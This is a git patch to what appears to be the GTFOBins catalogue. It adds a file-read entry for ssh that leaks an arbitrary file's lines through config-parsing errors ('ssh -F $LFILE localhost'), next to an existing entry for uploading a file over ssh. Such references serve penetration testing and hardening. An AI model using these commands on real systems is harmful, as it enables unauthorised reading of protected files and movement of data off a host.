From 765d2d1aa4ffeed7e167db2782c003730439dc65 Mon Sep 17 00:00:00 2001 From: Paul Taylor <21125224+bao7uo@users.noreply.github.com> Date: Mon, 28 May 2018 08:44:53 +0100 Subject: [PATCH] Add file-read to ssh --- _gtfobins/ssh.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/_gtfobins/ssh.md b/_gtfobins/ssh.md index c87a00d..9b2fe66 100644 --- a/_gtfobins/ssh.md +++ b/_gtfobins/ssh.md @@ -17,4 +17,9 @@ functions: RPATH=where_to_save LPATH=file_to_send ssh $HOST "cat > $RPATH" < $LPATH + file-read: + - description: Read lines from text files (error-based approach). + - code: | + LFILE=file_to_read + ssh -F $LFILE localhost ---